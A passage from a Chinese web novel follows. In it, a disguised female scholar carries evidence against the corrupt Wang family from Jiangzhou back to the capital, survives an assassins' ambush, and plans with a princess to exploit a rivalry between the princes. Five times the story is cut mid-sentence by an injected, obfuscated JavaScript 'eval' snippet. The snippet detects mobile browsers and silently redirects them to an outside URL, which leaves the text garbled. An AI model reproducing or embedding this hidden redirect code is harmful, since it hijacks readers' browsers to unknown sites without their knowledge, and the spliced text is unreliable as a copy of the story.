老妇人摇头:“何掌柜说,现在出城的路都被王家盯死了。走陆路,每个关卡都有他们的人。走水路,码头每条船都要查。除非……等风头过去。” 等? 谢青梧手指在账册上轻轻敲着。 等不起。王家丢了这么重要的证据,人证也跑了,绝不会善罢甘休。他们会把江州翻个底朝天,时间拖得越久,她暴露的风险越大。 而且春闱在即,她必须赶在考试前回京。一来要备考,二来……这些证据,只有在京城才能发挥最大作用。 得想个办法,一个王家想不到的办法。 她看向窗外。染坊后院晾着刚染好的布,蓝的,青的,在风里飘着。几个工人在忙碌,搬布,晾晒,一切都寻常。 寻常…… 她心里忽然一动。 “嬷嬷,染坊平时往外地送货吗?”她问。 “送啊。”老妇人说,“江州的染布在附近几个州府都卖得好,每月都要往外送几趟货。” “最近有货要送吗?往北边送的。” 老妇人想了想:“后天有一批,送去津门的。津门有咱们的分号,每月固定送一次。” 津门。 从津门可以换船回京。 谢青梧眼睛亮了:“这批货怎么送?走陆路还是水路?” “陆路。”老妇人说,“染布怕潮,不走水路。用骡车拉,走官道,五天能到津门。” “押车的有谁?” “染坊的李师傅,还有两个伙计。”老妇人看着她,“公子是想……” “我想混在送货的队伍里。”谢青梧说,“扮作伙计,跟车去津门。到了津门再换船回京。” 老妇人犹豫:“可您的脚……” “再养两天应该能走了。”谢青梧活动了一下脚踝,“慢点走没关系,只要能上车。而且送货的伙计,走路有点瘸也不奇怪,可以说是在染坊干活时扭的。” 老妇人想了想,觉得可行。送货的队伍不起眼,王家主要查单独出行的书生,对这种商队的伙计查得不严。 “那我跟李师傅说一声。”她道,“李师傅是自己人,可靠。” “有劳了。” 事情定下,谢青梧心里踏实了些。她继续整理证据,把账册和密信的关键内容誊抄在几张薄纸上,字写得很小,卷起来可以塞进竹筒。 原件太重要,不能带在身上冒险。她打算分三路送:一路自己贴身带抄本,一路让染坊送货时夹在货里,另一路……她想起漕帮的赵五。 漕帮走货的渠道多,安全。如果能托赵五送一份回京给云知意,就更稳妥了。 她把这个想法告诉老妇人,老妇人点头:“漕帮那边,何掌柜能联系上。我让他去办。” “好。” 接下来的两天,谢青梧安心养伤,同时把证据整理得清清楚楚。新旧账册对照,密信内容梳理,王家的罪证一条条列出来,铁证如山。 她看着这些证据,心里既沉重又坚定。 沉重的是,王家作恶太深。走私铁器,私开矿脉,通敌卖国,哪一条都够抄家灭族。可他们在江州横行二十年,无人敢管。 坚定的是,这些证据终于到了她手里。林家二十年的冤屈,生母临终的血书,乳娘半生的隐忍……都等着一个公道。 而这个公道,她要亲手讨回来。 但不是现在。 现在她力量不够,地位不够。一个举人,哪怕有证据,也扳不倒树大根深的王家。贸然出手,只会打草惊蛇,甚至把自己搭进去。 得借力。 借谁的力?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983683|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧玉衡是公主,有地位,但毕竟是女子,在朝堂上话语权有限。而且萧玉衡帮她,更多是看重她的才能,未必会为了一个陈年旧案和王家背后的势力硬碰。 陆执……锦衣卫千户,权力大,手段多。但他态度不明,是敌是友还难说。而且锦衣卫只听皇命,不会轻易卷入朝堂争斗。 还有谁? 她忽然想起前些日子在京城听到的传闻。大皇子和二皇子争储,朝堂上分了两派。王家背后站的是二皇子,那……大皇子呢? 如果把这些证据交给大皇子,会怎样? 大皇子正愁找不到二皇子的把柄,这份大礼送上门,他一定会接。用王家的案子打击二皇子一党,同时还能在皇帝面前立功。 而她,只需要在合适的时候,把证据递上去。 借刀杀人,不脏自己的手。 谢青梧想清楚了。回京后,不急着告状,先暗中接触大皇子那边的人。等时机成熟,再抛出证据。 至于怎么接触……她想起国子监里有几位先生,似乎和大皇子走得近。或许,可以从他们入手。 计划在脑子里渐渐成型。 第三天早上,老妇人带来了好消息。 “公子,都安排好了。后天一早送货,您扮作新来的伙计小李,跟着李师傅走。何掌柜那边也联系了漕帮,赵五答应帮忙送一份东西去京城,交给云姑娘。” “赵五答应了?”谢青梧有些意外。 “答应了。”老妇人笑道,“何掌柜说,赵五记得您在青石渡帮过他,很讲义气,二话没说就应下了。” 谢青梧心里一暖。有时候,一点善意,就能换来意想不到的助力。 “东西什么时候送?” “今晚。”老妇人说,“赵五有条船今晚北上,正好带过去。” “好。” 谢青梧把誊抄的一份证据装进小竹筒,用蜡封好,交给老妇人。原件她决定自己带,抄本分两份,一份随身,一份夹在染布里送。 鸡蛋不放在一个篮子里。 做完这些,她走到窗边。天色已近黄昏,夕阳把染布染成金红色,很美。 明天再休整一天,后天出发。 离开江州,回京城。 开始下一步。 窗外有风吹过,晾晒的布匹轻轻摆动,像在跟她告别。 江州这一趟,险象环生,但值得。 她摸了摸怀里的血书,生母的字迹仿佛还带着温度。 娘,第一步,我走完了。 下一步,我会走得更稳。 39.归途截杀 离江州百里外的荒野,天色阴沉得厉害。 谢青梧坐在骡车上,身上穿着染坊伙计的粗布衣,脸上抹了些灰,看起来和另外两个伙计没什么区别。赶车的李师傅是染坊老人,话不多,但办事牢靠。 车队一共三辆骡车,装满了染好的布匹。按计划,他们走官道去津门,五天路程。今天已经是第二天,一路还算顺利,只在出江州城门时被盘查了一次。守城的兵卒看了看货单,又扫了眼车上的人,见都是粗布衣裳的伙计,挥挥手就放行了。 谢青梧当时低着头,心里绷着一根弦。她能感觉到守城兵卒的目光在她身上多停了一瞬,但最终没说什么。 出了城,她才稍稍松了口气。 但也不敢完全放松。王家在江州势力太大,沿途州县都可能有人。所以她一路都很警惕,眼睛时不时扫向路边树林,耳朵听着四周动静。 骡车吱呀吱呀走着,官道上人不多。偶尔有商队迎面而过,或者有骑马的人超过去。一切看起来平常。 午后,天更阴了。风里带着湿气,像是要下雨。 李师傅抬头看了看天:“要变天了,咱们得找个地方避避雨。” 前面不远处有个废弃的茶棚,只剩下几根柱子撑着破草顶。李师傅把车赶过去,停在茶棚下。 “在这儿歇会儿,等雨过了再走。”他招呼几个伙计下车活动手脚。 谢青梧也下了车,脚踝还有些疼,但走路已经不太碍事。她走到茶棚边上,看向来时的路。 官道弯弯曲曲延伸向远方,看不见江州城的影子了。但她心里那股不安,却越来越重。 像是有什么东西,在暗处盯着。 她正想着,眼角余光忽然瞥见路边树林里有什么动了一下。很轻,很快,像鸟,又不像。 她心里一紧。 “李师傅,”她走回去,压低声音,“咱们最好现在就走。” 李师傅一愣:“现在?眼看就要下雨了……” “我觉得不太对劲。”谢青梧说,“路边树林里好像有人。” 李师傅脸色变了。他跑江湖多年,知道什么时候该信这种直觉。他立刻招呼伙计:“上车,走了!” 几人匆忙上车,骡车刚驶出茶棚,雨就下来了。豆大的雨点砸在车篷上,噼里啪啦的响。 雨幕里,官道变得模糊。李师傅赶着车,加快了速度。另外两辆车也跟上,三辆车在雨里疾驰。 谢青梧坐在车里,手摸向怀里。那里有她贴身藏着的证据,还有一把匕首,一小包药粉。 希望是她多心了。 希望只是错觉。 但希望很快破灭了。 骡车驶过一道窄桥时,桥那头忽然出现了四个人。 四个人都穿着黑色劲装,蒙着面,手里提着刀。雨打在他们身上,刀锋在雨幕里泛着冷光。 李师傅猛地勒住骡子,车子停住了。后面两辆车也急停下来。 “各位好汉,我们是送货的染坊伙计,身上没多少银子……”李师傅高声喊,声音尽量镇定。 为首的黑衣人没说话,只一挥手。四个人同时动了,朝车队扑过来。 不是劫财。 是杀人。 谢青梧立刻明白。这些人,是王家派来的死士。他们查到了染坊这条线,或者只是怀疑,宁可错杀,绝不放过。 “跑!”她对李师傅喊。 但来不及了。一个黑衣人已经冲到车边,一刀劈向车辕。李师傅翻身滚下车,刀锋擦着他肩膀过去,划出一道血口。 另外两个伙计吓傻了,坐在车上一动不动。另外两个黑衣人跳上车,手起刀落。 惨叫声被雨声吞没。 谢青梧在刀落下的瞬间跳下车,滚进路边的泥泞里。她手里握着匕首,眼睛死死盯着扑过来的黑衣人。 跑不掉,只能拼。 黑衣人挥刀砍来,她侧身躲开,匕首刺向对方腰间。但对方身手极好,刀锋一转就格开了匕首,顺势一脚踢在她胸口。 她闷哼一声摔出去,滚了几圈才停住。胸口疼得喘不过气,手里的匕首也掉了。 黑衣人一步步逼近,刀锋指向她咽喉。 完了。 谢青梧闭上眼睛。 但预想中的疼痛没来。 只听“嗖”的一声破空响,接着是黑衣人一声闷哼。她睁开眼,看见黑衣人肩膀上插着一支箭,箭尾还在颤动。 远处,树林里。 有弓弩手。 黑衣人捂着肩膀后退,警惕地看向箭来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987510|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向。另外三个黑衣人也停住动作,四处张望。 又是一支箭,擦着另一个黑衣人的脸颊飞过,钉在树上。 “有埋伏!”为首的黑衣人低吼。 他们不再恋战,扶起受伤的同伴,迅速退进雨幕里,消失在树林中。 来得快,去得也快。 谢青梧躺在泥泞里,大口喘气。雨打在她脸上,她挣扎着坐起来,看向箭来的方向。 树林里静悄悄的,没有人出来。 是谁? 锦衣卫?陆执的人? 还是……别的什么人? 李师傅捂着肩膀走过来,脸色苍白:“小、小谢,你没事吧?” “没事。”谢青梧咬牙站起来,胸口还在疼,但没伤到骨头。她看向另外两辆车,两个伙计已经倒在血泊里,没气了。 她心里一沉。 因为她,死了两个人。 “李师傅,对不起……”她声音沙哑。 李师傅摇头,眼里有泪:“不怪你,这帮人是冲你来的……小谢,你到底是什么人?” 谢青梧没回答。她走到路边,捡起那支箭。普通的羽箭,没有标记。但射箭的人准头极好,第一箭射中肩膀却不致命,第二箭只是警告。 很明显,是在帮她,但不想杀人,也不想暴露身份。 她把箭收起来,走回李师傅身边:“李师傅,咱们得赶紧走。那些人可能还会回来。” “可这两个孩子……”李师傅看着伙计的尸体,手在抖。 “埋了。”谢青梧咬牙,“不能让他们曝尸荒野。但得快,咱们时间不多。” 两人忍着悲痛,在路边挖了个浅坑,把两个伙计埋了。没有墓碑,只有两堆新土,在雨里很快被冲平。 做完这些,天已经快黑了。 雨小了些,但还在下。李师傅把受伤的骡子换下,三辆车并成两辆,继续赶路。谢青梧坐在车上,手里紧紧握着那支箭。 这一路,比她想的更凶险。 王家不仅要在江州堵她,还要在路上杀她。说明他们真的怕了,怕她手里的证据,怕她把事情捅出去。 也说明,她走对了路。 她把箭收好,看向前方。雨幕里,官道蜿蜒向前,看不到尽头。 40.疗伤思危 天黑透时,李师傅找到了一个破庙。 庙很小,门窗都破了,里面供着的神像也残缺不全,看不清是哪路神仙。但好歹能遮风挡雨。 他把骡车赶进庙后的破棚里藏好,扶着谢青梧进庙。雨还在下,庙里漏雨,滴滴答答响成一片。 “先坐下,我生火。”李师傅从怀里掏出火折子,又去外面捡了些半干的柴。 谢青梧靠着墙坐下,肩上的伤口火辣辣地疼。她解开衣襟看了一眼,刀口不深,但划得长,血已经浸透了里衣。 李师傅生起火,庙里暖和了些。他走过来看了看伤口,倒吸口气:“得包扎,不然会化脓。” “我有药。”谢青梧从怀里掏出一个小瓷瓶,是云知意给的那瓶伤药,“麻烦李师傅帮我烧点热水,再找块干净的布。” 李师傅应声去了。谢青梧靠在墙上,闭上眼睛。脑子里乱糟糟的,一会儿是黑衣人挥刀砍来的画面,一会儿是箭矢破空的声音,一会儿是两个伙计倒在血泊里的样子。 都死了。 因为她。 她深吸一口气,压下心里的愧疚。现在不是愧疚的时候,得先处理伤口,然后想下一步。 李师傅端了热水过来,又撕了自己里衣的一块下摆,用热水烫过。谢青梧接过布,咬着牙清洗伤口。药粉撒上去时,疼得她浑身一颤,额头上冒出冷汗。 但手上动作没停。清洗,上药,包扎,一气呵成。等包扎好,她已经疼得脸色发白,靠在墙上直喘气。 李师傅看得心惊:“小谢,你……你真能忍。” 谢青梧摇摇头,没说话。她从包袱里拿出干粮,分给李师傅一些。两人就着热水啃了几口,谁也没胃口,但都得吃。 吃了东西,身上有了些力气。谢青梧这才开始复盘。 南下这一趟,她拿到了关键证据,送走了乳娘,目的达到了。但代价比她预想的大。 她低估了王家的狠绝和反应速度。原以为王家在江州势大,会先查再动手,没想到他们直接派死士截杀,宁可错杀也不放过。 也高估了自己的准备。虽然考虑了路上可能遇险,带了药粉烟雾丸,但真碰上训练有素的死士,那些小手段作用有限。 今天若不是暗处有人相助,她可能已经死在那个黑衣人刀下了。 是谁在帮她? 陆执的锦衣卫,可能性最大。从黑水渡捕快来得及时,到今天的冷箭,都像是官方力量在暗中清理路径。但陆执为什么帮她?仅仅是公主的嘱托,还是另有打算? 她想起陆执看她的眼神,那种探究的,怀疑的,又带着点兴趣的眼神。 想不明白,但眼下不是深究的时候。 另一个教训是,她不该跟染坊的队伍一起走。虽然扮作伙计隐蔽,但连累了无辜的人。两个伙计死了,李师傅也受了伤。 下次,得单独行动。或者找更安全的渠道。 她看向李师傅:“李师傅,明天一早,咱们分头走。” 李师傅一愣:“分头?可你这伤……” “伤不碍事。”谢青梧说,“那些人明显是冲我来的。您跟我在一起太危险。您赶一辆车继续往津门送货,我走另一条路。” “那怎么行!”李师傅急了,“你一个人,还受伤,万一再碰上……” “碰上也不连累您。”谢青梧语气平静,“而且分开走,目标小,更安全。” 李师傅看着她,这个才十五岁的少年,眼神却沉稳得像经历过几十年风霜。他叹了口气:“小谢,你……你到底惹了什么人?” 谢青梧沉默片刻:“惹了不该惹的人。所以更不能连累您。” 李师傅不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987511|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问了。江湖人,知道什么该问什么不该问。 “那你要走哪条路?”他问。 “小路。”谢青梧说,“我知道有条山路,难走,但近,也能避开官道上的关卡。” 其实她不知道,但必须这么说。不能让李师傅知道她的真实路线。 李师傅点点头:“行。那明天一早,我先走。你……自己小心。” “嗯。” 两人不再说话。庙里只有火堆噼啪的声音,和外面渐渐小下去的雨声。 谢青梧靠在墙上,闭上眼睛。脑子里却还在转。 证据已经拿到,但不能全带在身上。太危险。今天这一劫提醒她,王家可能还有后手。 得把证据分批送回去。 贴身带一份最重要的抄本。原件和另一份抄本,找可靠的人分批送。漕帮赵五那边已经送了一份,但还不够。 她想起李师傅要去津门。津门有漕帮的码头,可以托他把另一份悄悄带过去,交给赵五的人。 但得小心,不能再连累他。 她想好了。明天分头前,把一份证据藏在染布里,让李师傅带到津门后,找个借口留在染坊分号。她再想办法去取。 虽然麻烦,但安全。 至于她自己……肩上的伤得养两天,不能急着赶路。可以先在附近找个地方藏身,等伤好些再走。 她睁开眼睛,看向庙外。雨停了,月光从云缝里漏出来,照在湿漉漉的地上,一片清冷。 前路还长,险关重重。 她摸了摸怀里的血书,又摸了摸包扎好的伤口。 生母的冤屈,林家的血债,伙计的性命……都压在她肩上。 不能倒。 她深吸一口气,重新闭上眼睛。 养精蓄锐。 明天,继续赶路。 41.秘密送证 天亮前,谢青梧和李师傅在破庙外分头。 李师傅赶着一辆骡车继续走官道去津门。谢青梧把一份抄好的证据用油布仔细包好,塞在一匹染布的卷轴里,又用细线缝了几针做记号。 “李师傅,到了津门染坊分号,您找个借口把这匹布单独存放,就说颜色染得不太好,要退回重修。”她交代,“别让旁人经手。” 李师傅接过布,点头:“我晓得。小谢,你真不跟我一起走?” “不了。”谢青梧摇头,“您路上小心,若再有人拦车,就说货可以拿走,保命要紧。” 李师傅眼眶有点红,没再说什么,赶着车走了。 谢青梧看着他走远,才转身往另一个方向去。她肩上的伤还疼,但勉强能走。按计划,她要去二十里外的另一个渡口,那里有漕帮的船只北上。 她走的是小路,崎岖难行,但隐蔽。一路上没碰见什么人,只偶尔听见林子里有鸟叫。她走得很慢,走走停停,中午时分才走到渡口。 渡口比青石渡小,只停着四五条船。最大的是条漕帮的货船,正在装粮。谢青梧远远观察了一会儿,看见了赵五。 赵五正在指挥装船,嗓门还是那么大。她等船装得差不多了,才走过去。 “赵大哥。” 赵五回头,看见是她,眼睛一亮:“谢兄弟?你怎么在这儿?”但马上注意到她脸色不好,肩膀也有些不自然,“你这是……” “路上遇了点麻烦。”谢青梧简单说,“赵大哥,有件事想请你帮忙。” 赵五打量她一眼,摆手让手下继续干活,把她拉到一边:“什么事,你说。” “我想托你送件东西去京城。”谢青梧从怀里掏出一个小竹筒,用蜡封得严严实实,“交给春风阁的云姑娘。” 赵五接过竹筒,掂了掂:“就这个?” “就这个。”谢青梧又掏出一个小布包,“这是酬劳。东西不值钱,但要紧。赵大哥务必亲自交到云姑娘手里,不能经第二人之手。” 赵五打开布包一看,里面是几块碎银,还有一支小银簪。他皱眉:“谢兄弟,你这是看不起我。在青石渡你帮过我,这点忙我还能收钱?” “不是酬劳,是路上的花费。”谢青梧说,“赵大哥肯帮忙,我已经感激不尽。但这东西确实要紧,路上若有什么打点,总得用钱。” 赵五想了想,收下银两,但把银簪推回去:“这个你留着。我赵五答应的事,一定办到。船今晚就开,十天后到京城码头。我亲自送去春风阁。” “多谢赵大哥。”谢青梧松了口气,“还有……这事别让旁人知道,就当是普通捎带。” “我懂。”赵五拍拍胸口,“江湖规矩,不问来路,不问去处。你放心。” 正说着,船上有人喊:“五哥,货装好了,什么时候开船?” “马上!”赵五应了声,又看向谢青梧,“谢兄弟,你接下来去哪儿?要是回京城,可以搭这条船。” 谢青梧摇头:“我走陆路。赵大哥,你们路上也小心,近来不太平。” “放心,漕帮的船,一般人不敢动。”赵五咧嘴笑,“倒是你,一个人走陆路,还带着伤……要不我还是派两个人送你?” “不用。”谢青梧摆手,“人多反而显眼。我自有办法。” 赵五见她坚持,也不再劝。他从怀里掏出一块小木牌:“这个你拿着。漕帮在沿途有些落脚点,你要是需要帮忙,亮这个牌子,兄弟们都认得。” 谢青梧接过木牌,上面刻着漕帮的标记。她郑重收好:“多谢。” 两人又说了几句,赵五转身上船。货船缓缓离岸,顺着水流向北去。谢青梧站在岸边,看着船走远,直到变成一个小黑点。 证据送出去了。 一份藏在染布里,由李师傅带到津门。一份托赵五走漕帮渠道直送京城。她自己身上还带着最重要的原件和另一份抄本。 鸡蛋分了三个篮子,就算丢了一两个,还有剩下的。 她转身离开渡口,重新走上小路。肩上的伤口隐隐作痛,她放慢脚步,脑子里却在想下一步。 从这儿回京城,走陆路至少要半个月。她的伤需要休养,不能赶得太急。最好找个地方先养两天,等伤好些再走。 她想起赵五给的木牌。漕帮在沿途有落脚点,或许可以借用。但那些地方人来人往,她一个生面孔带着伤,容易引人注意。 不如找间偏僻的寺庙或道观,给些香火钱,借住几日。出家人清净,不问世事,安全。 她打定主意,往山里走。走了约莫一个时辰,看见山腰上有座小庙,白墙灰瓦,掩在树林里,很安静。 她走过去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她收好血书,吹灭灯。 42.重返京城 十天后,谢青梧回到了京城。 她是傍晚时分进的城,挑了个守城兵卒换岗的空档,混在一队商贩里进了城门。肩上的伤已经结了痂,走路不再碍事,只是还不能用力。她穿着普通的灰色布衣,背着个旧包袱,看起来像个寻常的游学士子。 进城后,她没有直接回住处,而是先绕了几条街,确认身后没有尾巴,才往国子监方向去。 街上还是老样子,热闹,拥挤,满是年节后的余韵。灯笼还没撤完,小贩的吆喝声此起彼伏。但她能感觉到,有些不一样。 有几个看似闲逛的人,眼睛却总往过往的读书人身上瞟。还有街角那个卖糖葫芦的,她记得以前是个老妇人,现在换了个年轻汉子,眼神太活泛。 王家的眼线,或者谢明远的眼线,已经布到街面上来了。 她不动声色,继续往前走。到了国子监附近,她没走正门,绕到后街的小门。守门的杂役认得她,有些惊讶:“谢公子?您回来了?” “回来了。”谢青梧点头,“严博士在吗?” “在值房呢。” 她走进国子监。斋舍里亮着灯,隐约能听见读书声。快春闱了,学子们都在埋头苦读。她一路走过去,有人抬头看见她,露出惊讶的表情,但也没多问。 严博士的值房门开着,他正在批改文章。听见脚步声抬头,看见谢青梧,愣了一下。 “怀瑾?”他放下笔,“什么时候回来的?” “刚进城。”谢青梧行礼,“特来向先生销假。” 严博士打量她,眉头微皱:“你脸色不大好,路上辛苦了?” “还好,就是有些累。”谢青梧语气平静,“老家的事处理完了,就赶回来了。” 严博士点点头,没多问。他从抽屉里拿出册子,记了几笔:“回来就好。春闱在即,你的功课落下不少,得抓紧补上。” “学生明白。” “李慕白他们都在斋舍,你去见见吧。”严博士说,“这些日子他们常念叨你。” “好。” 谢青梧从值房出来,往斋舍走。刚到门口,就听见里面李慕白的大嗓门:“……这道题我觉得该这么解……” 她敲了敲门。 门开了,李慕白看见她,眼睛瞪得老大:“怀瑾?你真回来了!” 屋里另外两个同窗也围过来,七嘴八舌地问:“路上顺利吗?”“老家的事办妥了?”“怎么瘦了这么多?” 谢青梧一一应着,神色如常。她说路上染了风寒,病了一场,所以耽搁了些时日。同窗们信了,又说起春闱的事,气氛很快热络起来。 她在斋舍坐了半个时辰,才告辞出来。 天已经全黑了。她走出国子监,没有回自己的住处,而是拐进了另一条街。 春风阁今晚有琴会,人来人往,很热闹。她从侧门进去,一个小厮迎上来,看见她,眼神动了动:“公子找谁?” “云姑娘在吗?” “在楼上雅间。”小厮低声道,“姑娘交代过,您若来了,直接上去。” 谢青梧点头,上了楼。雅间里,云知意正在调琴弦,见她进来,放下琴站起身。 “你总算回来了。”她仔细看了看谢青梧的脸,“受伤了?” “一点小伤,不碍事。”谢青梧坐下,“东西收到了吗?” “收到了。”云知意从柜子里拿出那个小竹筒,“三天前赵五亲自送来的。我打开看了,是誊抄的证据。原件呢?” “在我这儿。”谢青梧从怀里掏出油布包,递过去,“还有血书和账本。” 云知意接过,一层层打开,看了半晌,脸色凝重:“这些东西……足够王家死十次了。” “但现在不能动。”谢青梧说,“王家在朝中有人,贸然拿出来,打不倒他们,反而会打草惊蛇。” “我知道。”云知意把东西重新包好,“你先放在我这儿,我替你保管。比你自己带着安全。” 谢青梧点头:“还有一件事。乳娘周氏,我托人送到城外的庄子上去了。还得麻烦你安排人照应。” “已经安排好了。”云知意说,“你离京这些日子,公主那边也问过几次。她知道你回来了吗?” “应该知道了。”谢青梧说,“我国子监销假,公主府那边很快会得到消息。” 话音未落,外面传来敲门声。一个小丫鬟在门外道:“姑娘,公主府来人了,说是请谢公子过去一趟。” 云知意和谢青梧对视一眼。 来得真快。 “知道了,就说谢公子稍后过去。”云知意应了声,又看向谢青梧,“你现在去?” “去。”谢青梧起身,“早晚要见的。” “小心些。”云知意低声说,“公主虽然看重你,但皇家的人,心思深。别什么都掏心窝子。” “我明白。” 谢青梧出了春风阁,公主府的马车已经在门口等着了。赶车的是个面生的侍卫,见了她,行礼道:“谢公子,请上车。” 她上了车,马车缓缓驶向公主府。 车里很安静,她能听见自己的心跳声。这次南下,收获很大,风险也很大。如今回到京城,带着足以颠覆一方的证据,却如履薄冰。 不能急,不能慌,一步都不能错。 马车在公主府门前停下。她下车,跟着侍卫进了府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990559|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。萧玉衡在暖阁里等她,桌上摆着茶点,像是等了有一会儿了。 “回来了?”萧玉衡抬眼,目光在她身上扫过,“坐。” 谢青梧行礼坐下。 “江州一行,如何?”萧玉衡问得直接。 “回殿下,拿到了该拿的东西。”谢青梧答得也直接,“王家罪证确凿,走私,私矿,通敌,都有实证。” 萧玉衡手指在桌上轻轻敲了敲:“证据呢?” “分了三路送回来,最要紧的在云姑娘那儿。”谢青梧说,“殿下要看,随时可以取来。” “不急。”萧玉衡看着她,“你这一路,不容易吧。” 谢青梧顿了顿:“还好。” “还好?”萧玉衡笑了,“黑店,追杀,冷箭,死士……这叫还好?” 谢青梧心里一惊。公主知道得这么清楚? “殿下……” “陆执递了折子。”萧玉衡打断她,“说你南下途中屡次遇险,他派人暗中护着,才保住性命。谢怀瑾,你胆子真大,单枪匹马去闯王家的老巢。” 谢青梧垂下眼:“学生别无选择。” “是,你别无选择。”萧玉衡叹了口气,“但下次再有这种事,提前跟我说。我虽是个公主,护个人还是做得到的。” “谢殿下。” 萧玉衡摆摆手:“证据先收好,别急着拿出来。春闱在即,你先安心备考。王家的事,等春闱后再说。” “学生明白。” “还有,”萧玉衡看着她,眼神认真,“谢怀瑾,你记住。这条路,你选了,就得走到底。但不必一个人走。” 谢青梧心头一热,郑重行礼:“学生谨记。” 从公主府出来时,夜色已深。街上行人稀少了,只有打更的声音远远传来。 谢青梧慢慢走回自己的住处。李婶还没睡,在门口张望,看见她回来,眼圈一下就红了:“公子,您可算回来了……” “我回来了。”谢青梧笑笑,“这些日子,辛苦你了。” “不辛苦,不辛苦。”李婶抹着眼泪,“您饿不饿?我给您煮碗面?” “好。” 热腾腾的面端上来,谢青梧慢慢吃着。屋里还是老样子,书桌上堆着书,床上被褥整齐。一切都像她没离开过。 但有些东西,不一样了。 她放下碗,走到窗边。推开窗,能看见远处国子监的灯火,还能隐约听见读书声。 春闱,还有一个月。 她得静下心来,好好备考。 至于王家,至于谢家,至于那些暗处的眼睛…… 先放一放。 京城,她回来了。 43.公主问策 第二天一早,公主府又来了人。 这次不是马车,是个小内侍,说话细声细气的:“谢公子,殿下请您过府一叙,说有要事相商。” 谢青梧正在温书,闻言放下笔:“这就去。” 她换了身干净衣裳,跟着内侍去了公主府。萧玉衡在书房等她,桌上已经摆好了茶点,还有几份卷宗。 “坐。”萧玉衡抬眼,“伤好些了?” “好多了。”谢青梧坐下,“殿下找学生来,是为了王家的事?” “是,也不是。”萧玉衡推过来一份卷宗,“你先看看这个。” 谢青梧接过,翻开一看,是王家这些年在江州的产业明细,还有与京城往来的账目节略。比她自己查到的更详细,连王家在朝中那些靠山的名字都列了出来。 她心里一惊。公主早就开始查王家了? “很意外?”萧玉衡笑了笑,“你以为我只在京城这一亩三分地打转?江州王家,盐铁漕运一把抓,早就是朝廷的心病。只是他们树大根深,又攀上了二皇兄,轻易动不得。” 谢青梧放下卷宗:“殿下既然早就知道,为何……” “为何不动手?”萧玉衡接口,“因为没有确凿证据。王家做事小心,账目做得干净,明面上的生意挑不出错。暗地里的勾当,他们捂得严实,拿不到实证。” 她看着谢青梧:“现在,你有实证了。” 谢青梧沉默片刻,从怀里掏出一份誊抄的账目节略,递过去:“这是学生从江州带回的一部分。完整的证据在云姑娘那儿,殿下要看,随时可以取来。” 萧玉衡接过,仔细翻看。越看脸色越沉。 “走私铁器三百二十车,私矿六处,年产铁十五万斤……好,好一个王家。”她合上纸页,手指微微收紧,“这些证据若是呈上去,足够王家满门抄斩。” “但学生以为,现在还不是时候。”谢青梧说。 “哦?为何?” “王家在朝中有人,二皇子殿下便是其一。”谢青梧语气平静,“若贸然呈证,二皇子必会力保。到时候证据真伪之争,朝堂扯皮,拖上一年半载,王家有的是时间销毁证据,甚至反咬一口。” 萧玉衡挑眉:“那你说该如何?” “借力打力。”谢青梧说,“学生听闻,大皇子与二皇子近来在盐税一事上多有争执。王家掌控江州盐运,若能将王家罪证巧妙递到大皇子手中……” 她没说完,但意思明了。 萧玉衡看着她,眼神里多了几分欣赏:“你想让大皇子去当这个出头鸟,借皇子之争扳倒王家?” “是。”谢青梧点头,“大皇子正愁找不到二皇子的把柄,这份大礼送上门,他绝不会错过。等大皇子发难,殿下再在旁推波助澜,王家必倒。届时二皇子想保也保不住,反而可能被牵连。” 萧玉衡沉吟片刻:“法子不错。但大皇子那边,你如何递话?” 